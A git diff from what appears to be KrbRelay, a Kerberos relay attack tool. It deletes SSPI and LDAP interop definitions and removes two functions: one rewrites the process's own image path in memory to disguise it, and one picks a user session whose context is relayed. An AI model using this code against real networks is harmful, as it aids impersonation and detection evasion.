- public enum AcceptContextReqFlags
- {
- None = 0,
- Delegate = 0x00000001,
- MutualAuth = 0x00000002,
- ReplayDetect = 0x00000004,
- SequenceDetect = 0x00000008,
- Confidentiality = 0x00000010,
- UseSessionKey = 0x00000020,
- SessionTicket = 0x00000040,
- AllocateMemory = 0x00000100,
- UseDceStyle = 0x00000200,
- Datagram = 0x00000400,
- Connection = 0x00000800,
- CallLevel = 0x00001000,
- FragmentSupplied = 0x00002000,
- ExtendedError = 0x00008000,
- Stream = 0x00010000,
- Integrity = 0x00020000,
- Licensing = 0x00040000,
- Identify = 0x00080000,
- AllowNullSessions = 0x00100000,
- AllowNonUserLogons = 0x00200000,
- AllowContextReplay = 0x00400000,
- FragmentToFit = 0x00800000,
- NoToken = 0x01000000,
- ProxyBindings = 0x04000000,
- AllowMissingBindings = 0x10000000
- }
-
- public enum LdapModOperation
- {
- LDAP_MOD_ADD = 0x00,
- LDAP_MOD_DELETE = 0x01,
- LDAP_MOD_REPLACE = 0x02,
- LDAP_MOD_BVALUES = 0x80
- }
-
- public enum LdapSearchScope
- {
- LDAP_SCOPE_BASE = 0x0000,
- LDAP_SCOPE_BASEOBJECT = LDAP_SCOPE_BASE,
- LDAP_SCOPE_ONELEVEL = 0x0001,
- LDAP_SCOPE_ONE = LDAP_SCOPE_ONELEVEL,
- LDAP_SCOPE_SUBTREE = 0x0002,
- LDAP_SCOPE_SUB = LDAP_SCOPE_SUBTREE,
- LDAP_SCOPE_SUBORDINATE = 0x0003, /* OpenLDAP extension */
- LDAP_SCOPE_CHILDREN = LDAP_SCOPE_SUBORDINATE,
- LDAP_SCOPE_DEFAULT = -1 /* OpenLDAP extension */
- }
-
- public enum LdapResultType
- {
- LDAP_ERROR = -1,
- LDAP_TIMEOUT = 0,
- LDAP_RES_BIND = 0x61,
- LDAP_RES_SEARCH_ENTRY = 0x64,
- LDAP_RES_SEARCH_REFERENCE = 0x73,
- LDAP_RES_SEARCH_RESULT = 0x65,
- LDAP_RES_MODIFY = 0x67,
- LDAP_RES_ADD = 0x69,
- LDAP_RES_DELETE = 0x6b,
- LDAP_RES_MODDN = 0x6d,
- LDAP_RES_COMPARE = 0x6f,
- LDAP_RES_EXTENDED = 0x78,
- LDAP_RES_INTERMEDIATE = 0x79
- }
-
- public enum LdapStatus
- {
- LDAP_SUCCESS = 0,
- LDAP_OPERATIONS_ERROR = 1,
-
- //LDAP_PROTOCOL_ERROR = 2,
- LDAP_TIMELIMIT_EXCEEDED = 3,
-
- LDAP_SIZELIMIT_EXCEEDED = 4,
-
- //LDAP_COMPARE_FALSE = 5,
- //LDAP_COMPARE_TRUE = 6,
- LDAP_AUTH_METHOD_NOT_SUPPORTED = 7,
-
- //LDAP_STRONG_AUTH_REQUIRED = 8,
- //LDAP_REFERRAL = 9,
- //LDAP_ADMIN_LIMIT_EXCEEDED = 11,
- //LDAP_UNAVAILABLE_CRITICAL_EXTENSION = 12,
- //LDAP_CONFIDENTIALITY_REQUIRED = 13,
- LDAP_SASL_BIND_IN_PROGRESS = 14,
-
- LDAP_NO_SUCH_ATTRIBUTE = 16,
- LDAP_UNDEFINED_TYPE = 17,
-
- //LDAP_INAPPROPRIATE_MATCHING = 18,
- LDAP_CONSTRAINT_VIOLATION = 19,
-
- LDAP_TYPE_OR_VALUE_EXISTS = 20,
- LDAP_INVALID_SYNTAX = 21,
-
- LDAP_NO_SUCH_OBJECT = 32,
-
- //LDAP_ALIAS_PROBLEM = 33,
- LDAP_INVALID_DN_SYNTAX = 34,
-
- //LDAP_IS_LEAF = 35,
- //LDAP_ALIAS_DEREF_PROBLEM = 36,
-
- //LDAP_INAPPROPRIATE_AUTH = 48,
- LDAP_INVALID_CREDENTIALS = 49,
-
- LDAP_INSUFFICIENT_ACCESS = 50,
- LDAP_BUSY = 51,
- LDAP_UNAVAILABLE = 52,
- LDAP_UNWILLING_TO_PERFORM = 53,
- //LDAP_LOOP_DETECT = 54,
-
- //LDAP_NAMING_VIOLATION = 64,
- LDAP_OBJECT_CLASS_VIOLATION = 65,
-
- LDAP_NOT_ALLOWED_ON_NONLEAF = 66,
-
- //LDAP_NOT_ALLOWED_ON_RDN = 67,
- LDAP_ALREADY_EXISTS = 68,
-
- //LDAP_NO_OBJECT_CLASS_MODS = 69,
- //LDAP_RESULTS_TOO_LARGE = 70,
- //LDAP_AFFECTS_MULTIPLE_DSAS = 71,
- //LDAP_OTHER = 80,
-
- LDAP_SERVER_DOWN = -1,
- //LDAP_LOCAL_ERROR = -2,
- //LDAP_ENCODING_ERROR = -3,
- //LDAP_DECODING_ERROR = -4,
- //LDAP_TIMEOUT = -5,
- //LDAP_AUTH_UNKNOWN = -6,
- //LDAP_FILTER_ERROR = -7,
- //LDAP_USER_CANCELLED = -8,
- //LDAP_PARAM_ERROR = -9,
- //LDAP_NO_MEMORY = -10,
- //LDAP_CONNECT_ERROR = -11,
- //LDAP_NOT_SUPPORTED = -12,
- //LDAP_CONTROL_NOT_FOUND = -13,
- //LDAP_NO_RESULTS_RETURNED = -14,
- //LDAP_MORE_RESULTS_TO_RETURN = -15,
-
- //LDAP_CLIENT_LOOP = -16,
- //LDAP_REFERRAL_LIMIT_EXCEEDED = -17,
- }
-
- //https://github.com/go-win/go-windows/blob/3c4cf4813fb68a44704529efb5f5c78ecbb1b380/windows/win32/ldap/enums.go#L11
-
- [StructLayout(LayoutKind.Sequential)]
- public sealed class LDAPMod
- {
- ///
- /// Values that you want to add, delete, or replace.
- ///
- [StructLayout(LayoutKind.Explicit)]
- public struct mod_vals
- {
- ///
- /// Pointer to a NULL terminated array of string values for the attribute.
- ///
- [FieldOffset(0)] public IntPtr modv_strvals;
-
- ///
- /// Pointer to a NULL-terminated array of berval structures for the attribute.
- ///
- [FieldOffset(0)] public IntPtr modv_bvals;
- }
-
- ///
- /// The operation to be performed on the attribute and the type of data specified as the attribute values.
- ///
- public int mod_op;
-
- ///
- /// Pointer to the attribute type that you want to add, delete, or replace.
- ///
- public IntPtr mod_type;
-
- ///
- /// A NULL-terminated array of string values for the attribute.
- ///
- public mod_vals mod_vals_u;
-
- public IntPtr mod_next;
- }
-
- //#pragma warning disable 1591
- [StructLayout(LayoutKind.Sequential)]
- public class SecHandle
- {
- public IntPtr dwLower;
- public IntPtr dwUpper;
- }
-
- [Flags]
- public enum SecDataRep
- {
- ///
- /// Native representation.
- ///
- Native = 0x00000010,
-
- ///
- /// Network representation.
- ///
- Network = 0x00000000
- }
-
- [Flags]
- public enum SecStatusCode : uint
- {
- SUCCESS = 0,
- SEC_I_CONTINUE_NEEDED = 0x00090312,
- SEC_I_COMPLETE_NEEDED = 0x00090313,
- SEC_I_COMPLETE_AND_CONTINUE = 0x00090314,
- SEC_I_ASYNC_CALL_PENDING = 0x00090368,
- SEC_I_CONTEXT_EXPIRED = 0x00090317,
- SEC_I_CONTINUE_NEEDED_MESSAGE_OK = 0x00090366,
- SEC_I_GENERIC_EXTENSION_RECEIVED = 0x00090316,
- SEC_I_INCOMPLETE_CREDENTIALS = 0x00090320,
- SEC_I_LOCAL_LOGON = 0x00090315,
- SEC_I_MESSAGE_FRAGMENT = 0x00090364,
- SEC_I_NO_LSA_CONTEXT = 0x00090323,
- SEC_I_NO_RENEGOTIATION = 0x00090360,
- SEC_I_RENEGOTIATE = 0x00090321,
- SEC_I_SIGNATURE_NEEDED = 0x0009035C,
- SEC_E_ALGORITHM_MISMATCH = 0x80090331,
- SEC_E_APPLICATION_PROTOCOL_MISMATCH = 0x80090367,
- SEC_E_BAD_BINDINGS = 0x80090346,
- SEC_E_BAD_PKGID = 0x80090316,
- SEC_E_BUFFER_TOO_SMALL = 0x80090321,
- SEC_E_CANNOT_INSTALL = 0x80090307,
- SEC_E_CANNOT_PACK = 0x80090309,
- SEC_E_CERT_EXPIRED = 0x80090328,
- SEC_E_CERT_UNKNOWN = 0x80090327,
- SEC_E_CERT_WRONG_USAGE = 0x80090349,
- SEC_E_CONTEXT_EXPIRED = 0x80090317,
- SEC_E_CROSSREALM_DELEGATION_FAILURE = 0x80090357,
- SEC_E_CRYPTO_SYSTEM_INVALID = 0x80090337,
- SEC_E_DECRYPT_FAILURE = 0x80090330,
- SEC_E_DELEGATION_POLICY = 0x8009035E,
- SEC_E_DELEGATION_REQUIRED = 0x80090345,
- SEC_E_DOWNGRADE_DETECTED = 0x80090350,
- SEC_E_ENCRYPT_FAILURE = 0x80090329,
- SEC_E_EXT_BUFFER_TOO_SMALL = 0x8009036A,
- SEC_E_ILLEGAL_MESSAGE = 0x80090326,
- SEC_E_INCOMPLETE_CREDENTIALS = 0x80090320,
- SEC_E_INCOMPLETE_MESSAGE = 0x80090318,
- SEC_E_INSUFFICIENT_BUFFERS = 0x8009036B,
- SEC_E_INSUFFICIENT_MEMORY = 0x80090300,
- SEC_E_INTERNAL_ERROR = 0x80090304,
- SEC_E_INVALID_HANDLE = 0x80090301,
- SEC_E_INVALID_PARAMETER = 0x8009035D,
- SEC_E_INVALID_TOKEN = 0x80090308,
- SEC_E_INVALID_UPN_NAME = 0x80090369,
- SEC_E_ISSUING_CA_UNTRUSTED = 0x80090352,
- SEC_E_ISSUING_CA_UNTRUSTED_KDC = 0x80090359,
- SEC_E_KDC_CERT_EXPIRED = 0x8009035A,
- SEC_E_KDC_CERT_REVOKED = 0x8009035B,
- SEC_E_KDC_INVALID_REQUEST = 0x80090340,
- SEC_E_KDC_UNABLE_TO_REFER = 0x80090341,
- SEC_E_KDC_UNKNOWN_ETYPE = 0x80090342,
- SEC_E_LOGON_DENIED = 0x8009030C,
- SEC_E_MAX_REFERRALS_EXCEEDED = 0x80090338,
- SEC_E_MESSAGE_ALTERED = 0x8009030F,
- SEC_E_MULTIPLE_ACCOUNTS = 0x80090347,
- SEC_E_MUST_BE_KDC = 0x80090339,
- SEC_E_MUTUAL_AUTH_FAILED = 0x80090363,
- SEC_E_NOT_OWNER = 0x80090306,
- SEC_E_NO_AUTHENTICATING_AUTHORITY = 0x80090311,
- SEC_E_NO_CONTEXT = 0x80090361,
- SEC_E_NO_CREDENTIALS = 0x8009030E,
- SEC_E_NO_IMPERSONATION = 0x8009030B,
- SEC_E_NO_IP_ADDRESSES = 0x80090335,
- SEC_E_NO_KERB_KEY = 0x80090348,
- SEC_E_NO_PA_DATA = 0x8009033C,
- SEC_E_NO_S4U_PROT_SUPPORT = 0x80090356,
- SEC_E_NO_TGT_REPLY = 0x80090334,
- SEC_E_ONLY_HTTPS_ALLOWED = 0x80090365,
- SEC_E_OUT_OF_SEQUENCE = 0x80090310,
- SEC_E_PKINIT_CLIENT_FAILURE = 0x80090354,
- SEC_E_PKINIT_NAME_MISMATCH = 0x8009033D,
- SEC_E_PKU2U_CERT_FAILURE = 0x80090362,
- SEC_E_POLICY_NLTM_ONLY = 0x8009035F,
- SEC_E_QOP_NOT_SUPPORTED = 0x8009030A,
- SEC_E_REVOCATION_OFFLINE_C = 0x80090353,
- SEC_E_REVOCATION_OFFLINE_KDC = 0x80090358,
- SEC_E_SECPKG_NOT_FOUND = 0x80090305,
- SEC_E_SECURITY_QOS_FAILED = 0x80090332,
- SEC_E_SHUTDOWN_IN_PROGRESS = 0x8009033F,
- SEC_E_SMARTCARD_CERT_EXPIRED = 0x80090355,
- SEC_E_SMARTCARD_CERT_REVOKED = 0x80090351,
- SEC_E_SMARTCARD_LOGON_REQUIRED = 0x8009033E,
- SEC_E_STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A,
- SEC_E_TARGET_UNKNOWN = 0x80090303,
- SEC_E_TIME_SKEW = 0x80090324,
- SEC_E_TOO_MANY_PRINCIPALS = 0x8009033B,
- SEC_E_UNFINISHED_CONTEXT_DELETED = 0x80090333,
- SEC_E_UNKNOWN_CREDENTIALS = 0x8009030D,
- SEC_E_UNSUPPORTED_FUNCTION = 0x80090302,
- SEC_E_UNSUPPORTED_PREAUTH = 0x80090343,
- SEC_E_UNTRUSTED_ROOT = 0x80090325,
- SEC_E_WRONG_CREDENTIAL_HANDLE = 0x80090336,
- SEC_E_WRONG_PRINCIPAL = 0x80090322,
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
- public struct SecurityFunctionTable
- {
- /// Version number of the table.
- public uint dwVersion;
-
- /// Pointer to the EnumerateSecurityPackages function.
- public IntPtr EnumerateSecurityPackages;
-
- /// Pointer to the QueryCredentialsAttributes function.
- public IntPtr QueryCredentialsAttributes;
-
- /// Pointer to the AcquireCredentialsHandle function.
- public IntPtr AcquireCredentialsHandle;
-
- /// Pointer to the FreeCredentialsHandle function.
- public IntPtr FreeCredentialHandl;
-
- /// Reserved for future use.
- public IntPtr Reserved1;
-
- /// Pointer to the InitializeSecurityContext (General) function.
- public IntPtr InitializeSecurityContext;
-
- /// Pointer to the AcceptSecurityContext (General) function.
- public IntPtr AcceptSecurityContex;
-
- /// Pointer to the CompleteAuthToken function.
- public IntPtr CompleteAuthToke;
-
- /// Pointer to the DeleteSecurityContext function.
- public IntPtr DeleteSecurityContex;
-
- /// Pointer to the ApplyControlToken function.
- public IntPtr ApplyControlToke;
-
- /// Pointer to the QueryContextAttributes (General) function.
- public IntPtr QueryContextAttributes;
-
- /// Pointer to the ImpersonateSecurityContext function.
- public IntPtr ImpersonateSecurityContex;
-
- /// Pointer to the RevertSecurityContext function.
- public IntPtr RevertSecurityContex;
-
- /// Pointer to the MakeSignature function.
- public IntPtr MakeSignatur;
-
- /// Pointer to the VerifySignature function.
- public IntPtr VerifySignatur;
-
- /// Pointer to the FreeContextBuffer function.
- public IntPtr FreeContextBuffe;
-
- /// Pointer to the QuerySecurityPackageInfo function.
- public IntPtr QuerySecurityPackageInfo;
-
- /// Reserved for future use.
- public IntPtr Reserved2;
-
- /// Reserved for future use.
- public IntPtr Reserved3;
-
- /// Pointer to the ExportSecurityContext function.
- public IntPtr ExportSecurityContex;
-
- /// Pointer to the ImportSecurityContext function.
- public IntPtr ImportSecurityContext;
-
- /// Pointer to the AddCredential function.
- public IntPtr AddCredentials;
-
- /// Reserved for future use.
- public IntPtr Reserved4;
-
- /// Pointer to the QuerySecurityContextToken function.
- public IntPtr QuerySecurityContextToke;
-
- /// Pointer to the EncryptMessage (General) function.
- public IntPtr EncryptMessag;
-
- /// Pointer to the DecryptMessage (General) function.
- public IntPtr DecryptMessag;
-
- /// Pointer to the SetContextAttributes function.
- public IntPtr SetContextAttributes;
-
- /// Pointer to the SetCredentialsAttributes function.
- public IntPtr SetCredentialsAttributes;
-
- /// Pointer to the ChangeAccountPassword function.
- public IntPtr ChangeAccountPassword;
-
- /// Pointer to the AddCredential function.
- public IntPtr Reserved5;
-
- /// Pointer to the QueryContextAttributesEx function.
- public IntPtr QueryContextAttributesEx;
-
- /// Pointer to the QueryCredentialsAttributesEx function.
- public IntPtr QueryCredentialsAttributesEx;
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct SECURITY_HANDLE
- {
- public IntPtr LowPart;
- public IntPtr HighPart;
-
- public SECURITY_HANDLE(int dummy)
- {
- LowPart = HighPart = IntPtr.Zero;
- }
- };
-
- [Flags]
- public enum SecBufferType
- {
- SECBUFFER_VERSION = 0,
- SECBUFFER_EMPTY = 0,
- SECBUFFER_DATA = 1,
- SECBUFFER_TOKEN = 2
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct SecBuffer : IDisposable
- {
- public int cbBuffer;
- public int bufferType;
- public IntPtr pvBuffer;
-
- public SecBuffer(int bufferSize)
- {
- cbBuffer = bufferSize;
- bufferType = (int)SecBufferType.SECBUFFER_TOKEN;
- if (bufferSize > 0)
- {
- pvBuffer = Marshal.AllocHGlobal(bufferSize);
- }
- else
- {
- pvBuffer = IntPtr.Zero;
- }
- }
-
- public SecBuffer(byte[] secBufferBytes)
- {
- cbBuffer = secBufferBytes.Length;
- bufferType = (int)SecBufferType.SECBUFFER_TOKEN;
- pvBuffer = Marshal.AllocHGlobal(cbBuffer);
- Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
- }
-
- public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType)
- {
- cbBuffer = secBufferBytes.Length;
- this.bufferType = (int)bufferType;
- pvBuffer = Marshal.AllocHGlobal(cbBuffer);
- Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
- }
-
- public void Dispose()
- {
- if (pvBuffer != IntPtr.Zero)
- {
- Marshal.FreeHGlobal(pvBuffer);
- pvBuffer = IntPtr.Zero;
- }
- }
-
- public byte[] GetBytes()
- {
- byte[] buffer = null;
- if (cbBuffer > 0)
- {
- buffer = new byte[cbBuffer];
- Marshal.Copy(pvBuffer, buffer, 0, cbBuffer);
- }
- return buffer;
- }
-
- public byte[] GetBytes(int bytes)
- {
- byte[] buffer = null;
- if (cbBuffer > 0)
- {
- buffer = new byte[cbBuffer + bytes];
- Marshal.Copy(pvBuffer, buffer, 0, cbBuffer + bytes);
- }
- return buffer;
- }
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct SecBufferDesc : IDisposable
- {
- public int ulVersion;
- public int cBuffers;
- public IntPtr pBuffers; //Point to SecBuffer
-
- public SecBufferDesc(int bufferSize)
- {
- ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
- cBuffers = 1;
- SecBuffer secBuffer = new SecBuffer(bufferSize);
- pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));
- Marshal.StructureToPtr(secBuffer, pBuffers, false);
- }
-
- public SecBufferDesc(byte[] secBufferBytes)
- {
- ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
- cBuffers = 1;
- SecBuffer secBuffer = new SecBuffer(secBufferBytes);
- pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));
- Marshal.StructureToPtr(secBuffer, pBuffers, false);
- }
-
- public void Dispose()
- {
- if (pBuffers != IntPtr.Zero)
- {
- SecBuffer secBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
- secBuffer.Dispose();
- Marshal.FreeHGlobal(pBuffers);
- pBuffers = IntPtr.Zero;
- }
- }
-
- public SecBuffer GetSecBuffer()
- {
- if (pBuffers == IntPtr.Zero)
- throw new ObjectDisposedException("SecBufferDesc");
- SecBuffer secBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer));
- return secBuffer;
- }
- }
-
- [StructLayout(LayoutKind.Sequential)]
- public struct SECURITY_INTEGER
- {
- public uint LowPart;
- public int HighPart;
-
- public SECURITY_INTEGER(int dummy)
- {
- LowPart = 0;
- HighPart = 0;
- }
- };
- }
-}
\ No newline at end of file
diff --git a/KrbRelay/Misc/SecurityBuffer.cs b/KrbRelay/Misc/SecurityBuffer.cs
deleted file mode 100644
index 6db1793..0000000
--- a/KrbRelay/Misc/SecurityBuffer.cs
+++ /dev/null
@@ -1,312 +0,0 @@
-using System;
-using System.Runtime.ConstrainedExecution;
-using System.Runtime.InteropServices;
-
-namespace KrbRelay
-{
- [StructLayout(LayoutKind.Sequential)]
- internal struct SspiHandle
- {
- // private fields
- private IntPtr _hi;
-
- private IntPtr _low;
-
- // public properties
- ///
- /// Gets a value indicating whether this instance is zero.
- ///
- ///
- /// true if this instance is zero; otherwise, false.
- ///
- public bool IsZero
- {
- get
- {
- if (_hi != IntPtr.Zero)
- {
- return false;
- }
- else
- {
- return _low == IntPtr.Zero;
- }
- }
- }
-
- // public methods
- ///
- /// Sets to invalid.
- ///
- [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
- public void SetToInvalid()
- {
- _hi = IntPtr.Zero;
- _low = IntPtr.Zero;
- }
- }
-
- ///
- /// A SecBufferDesc structure.
- ///
- ///
- /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa379815(v=vs.85).aspx
- ///
- [StructLayout(LayoutKind.Sequential)]
- internal struct SecurityBufferDescriptor : IDisposable
- {
- // public fields
- public SecurityBufferType BufferType;
-
- public int NumBuffers;
- public IntPtr BufferPtr; //Point to SecBuffer
-
- // constructors
- ///
- /// Initializes a new instance of the struct.
- ///
- /// Size of the buffer.
- public SecurityBufferDescriptor(int bufferSize)
- {
- BufferType = SecurityBufferType.Version;
- NumBuffers = 1;
- var buffer = new SecurityBuffer(bufferSize);
- BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer));
- Marshal.StructureToPtr(buffer, BufferPtr, false);
- }
-
- ///
- /// Initializes a new instance of the struct.
- ///
- /// The sec buffer bytes.
- public SecurityBufferDescriptor(byte[] secBufferBytes)
- {
- BufferType = SecurityBufferType.Version;
- NumBuffers = 1;
- var buffer = new SecurityBuffer(secBufferBytes);
- BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(buffer));
- Marshal.StructureToPtr(buffer, BufferPtr, false);
- }
-
- ///
- /// Initializes a new instance of the struct.
- ///
- /// The buffers.
- /// cannot be null or 0 length;buffers
- public SecurityBufferDescriptor(SecurityBuffer[] buffers)
- {
- if (buffers == null || buffers.Length == 0)
- {
- throw new ArgumentException("cannot be null or 0 length", "buffers");
- }
-
- BufferType = SecurityBufferType.Version;
- NumBuffers = buffers.Length;
-
- //Allocate memory for SecBuffer Array....
- BufferPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecurityBuffer)) * NumBuffers);
-
- for (int i = 0; i < buffers.Length; i++)
- {
- var currentBuffer = buffers[i];
- var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer));
- Marshal.WriteInt32(BufferPtr, currentOffset, currentBuffer.Count);
-
- var length = currentOffset + Marshal.SizeOf(typeof(int));
- Marshal.WriteInt32(BufferPtr, length, (int)currentBuffer.BufferType);
-
- length = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int));
- Marshal.WriteIntPtr(BufferPtr, length, currentBuffer.Token);
- }
- }
-
- // public methods
- ///
- /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
- ///
- public void Dispose()
- {
- if (BufferPtr != IntPtr.Zero)
- {
- if (NumBuffers == 1)
- {
- var buffer = (SecurityBuffer)Marshal.PtrToStructure(BufferPtr, typeof(SecurityBuffer));
- buffer.Dispose();
- }
- else
- {
- // Since we aren't sending any messages using the kerberos encrypt/decrypt.
- // The 1st buffer is going to be empty. We can skip it.
- for (int i = 1; i < NumBuffers; i++)
- {
- var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer));
- var totalLength = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int));
- var buffer = Marshal.ReadIntPtr(BufferPtr, totalLength);
- Marshal.FreeHGlobal(buffer);
- }
- }
-
- Marshal.FreeHGlobal(BufferPtr);
- BufferPtr = IntPtr.Zero;
- }
- }
-
- ///
- /// To the byte array.
- ///
- ///
- /// Object has already been disposed!!!
- public byte[] ToByteArray()
- {
- byte[] bytes = null;
-
- if (BufferPtr == IntPtr.Zero)
- {
- throw new InvalidOperationException("Object has already been disposed!!!");
- }
-
- if (NumBuffers == 1)
- {
- var buffer = (SecurityBuffer)Marshal.PtrToStructure(BufferPtr, typeof(SecurityBuffer));
-
- if (buffer.Count > 0)
- {
- bytes = new byte[buffer.Count];
- Marshal.Copy(buffer.Token, bytes, 0, buffer.Count);
- }
- }
- else
- {
- var bytesToAllocate = 0;
-
- for (int i = 0; i < NumBuffers; i++)
- {
- var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer));
- bytesToAllocate += Marshal.ReadInt32(BufferPtr, currentOffset);
- }
-
- bytes = new byte[bytesToAllocate];
-
- for (int i = 0, bufferIndex = 0; i < NumBuffers; i++)
- {
- var currentOffset = i * Marshal.SizeOf(typeof(SecurityBuffer));
- var bytesToCopy = Marshal.ReadInt32(BufferPtr, currentOffset);
- var length = currentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int));
- IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(BufferPtr, length);
- Marshal.Copy(SecBufferpvBuffer, bytes, bufferIndex, bytesToCopy);
- bufferIndex += bytesToCopy;
- }
- }
-
- return (bytes);
- }
- }
-
- internal enum SecurityBufferType
- {
- ///
- /// SECBUFFER_VERSION
- ///
- Version = 0,
-
- ///
- /// SECBUFFER_EMPTY
- ///
- Empty = 0,
-
- ///
- /// SECBUFFER_DATA
- ///
- Data = 1,
-
- ///
- /// SECBUFFER_TOKEN
- ///
- Token = 2,
-
- ///
- /// SECBUFFER_PADDING
- ///
- Padding = 9,
-
- ///
- /// SECBUFFER_STREAM
- ///
- Stream = 10
- }
-
- ///
- /// A SecBuffer structure.
- ///
- ///
- /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa379814(v=vs.85).aspx
- ///
- [StructLayout(LayoutKind.Sequential)]
- internal struct SecurityBuffer : IDisposable
- {
- // public fields
- public int Count;
-
- public SecurityBufferType BufferType;
- public IntPtr Token;
-
- // constructors
- ///
- /// Initializes a new instance of the struct.
- ///
- /// Size of the buffer.
- public SecurityBuffer(int bufferSize)
- {
- Count = bufferSize;
- BufferType = SecurityBufferType.Token;
- Token = Marshal.AllocHGlobal(bufferSize);
- }
-
- ///
- /// Initializes a new instance of the struct.
- ///
- /// The bytes.
- public SecurityBuffer(byte[] bytes)
- {
- Count = bytes.Length;
- BufferType = SecurityBufferType.Token;
- Token = Marshal.AllocHGlobal(bytes.Length);
- Marshal.Copy(bytes, 0, Token, bytes.Length);
- }
-
- ///
- /// Initializes a new instance of the struct.
- ///
- /// The bytes.
- /// Type of the buffer.
- public SecurityBuffer(byte[] bytes, SecurityBufferType bufferType)
- {
- BufferType = bufferType;
-
- if (bytes != null && bytes.Length != 0)
- {
- Count = bytes.Length;
- Token = Marshal.AllocHGlobal(Count);
- Marshal.Copy(bytes, 0, Token, Count);
- }
- else
- {
- Count = 0;
- Token = IntPtr.Zero;
- }
- }
-
- // public methods
- ///
- /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
- ///
- public void Dispose()
- {
- if (Token != IntPtr.Zero)
- {
- Marshal.FreeHGlobal(Token);
- Token = IntPtr.Zero;
- }
- }
- }
-}
\ No newline at end of file
diff --git a/KrbRelay/Program.cs b/KrbRelay/Program.cs
index 2228a97..d4e3260 100644
--- a/KrbRelay/Program.cs
+++ b/KrbRelay/Program.cs
@@ -1,203 +1,25 @@
-using KrbRelay.Clients;
-using KrbRelay.Com;
-using NetFwTypeLib;
+using KrbRelay.Com;
using SMBLibrary;
using SMBLibrary.Client;
using System;
using System.Collections.Generic;
-using System.Diagnostics;
+using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http;
-using System.Net.NetworkInformation;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
-using static KrbRelay.Natives;
namespace KrbRelay
{
internal class Program
{
- public static string SetProcessModuleName(string s)
- {
- IntPtr hProcess = GetCurrentProcess();
- PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
- UInt32 RetLen = 0;
- IntPtr temp;
- NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), ref RetLen);
-
- //https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters
- IntPtr pProcessParametersOffset = (IntPtr)(pbi.PebBaseAddress + 0x20);
- byte[] addrBuf = new byte[IntPtr.Size];
- ReadProcessMemory(hProcess, pProcessParametersOffset, addrBuf, addrBuf.Length, out temp);
- IntPtr processParametersOffset = (IntPtr)BitConverter.ToInt64(addrBuf, 0);
- IntPtr imagePathNameOffset = processParametersOffset + 0x060;
- //Console.WriteLine("processParametersOffset: 0x{0:X}", processParametersOffset.ToInt64());
- //Console.WriteLine("imagePathNameOffset: 0x{0:X}", imagePathNameOffset.ToInt64());
-
- //read imagePathName
- byte[] addrBuf2 = new byte[Marshal.SizeOf(typeof(UNICODE_STRING))];
- ReadProcessMemory(hProcess, imagePathNameOffset, addrBuf2, addrBuf2.Length, out temp);
- UNICODE_STRING str = Helpers.ReadStruct(addrBuf2);
- byte[] addrBuf3 = new byte[str.Length];
- ReadProcessMemory(hProcess, str.Buffer, addrBuf3, addrBuf3.Length, out temp);
- string oldName = Encoding.Unicode.GetString(addrBuf3);
-
- //write imagePathName
- byte[] b = Encoding.Unicode.GetBytes(s + "\x00");
- WriteProcessMemory(hProcess, str.Buffer, b, b.Length, out temp);
-
- CloseHandle(hProcess);
- return oldName;
- }
-
- public static void setUserData(int SessionId)
- {
- if (SessionId != -123)
- {
- uint bytesReturned;
- bool worked;
- IntPtr buffer = IntPtr.Zero;
-
- try {
- worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.ConnectState, out buffer, out bytesReturned);
- var state = (WTS_CONNECTSTATE_CLASS)Enum.ToObject(typeof(WTS_CONNECTSTATE_CLASS), Marshal.ReadInt32(buffer));
- if (state != WTS_CONNECTSTATE_CLASS.Active)
- Console.WriteLine("[-] WARNING, user's session is not active");
- }
- catch
- {
- Console.WriteLine("[-] Session {0} does not exists", SessionId);
- Environment.Exit(0);
- }
-
- worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.DomainName, out buffer, out bytesReturned);
- relayedUserDomain = Marshal.PtrToStringAnsi(buffer);
-
- worked = WTSQuerySessionInformation(IntPtr.Zero, SessionId, WTS_INFO_CLASS.UserName, out buffer, out bytesReturned);
- relayedUser = Marshal.PtrToStringAnsi(buffer);
- }
- else
- {
- relayedUser = Environment.MachineName + "$";
- relayedUserDomain = domainDN.Replace(",", ".").Replace("DC=", "");
- }
- Console.WriteLine("[*] Relaying context: {0}\\{1}", relayedUserDomain, relayedUser);
- }
-
-
- public static SECURITY_HANDLE ldap_phCredential = new SECURITY_HANDLE();
- public static IntPtr ld = IntPtr.Zero;
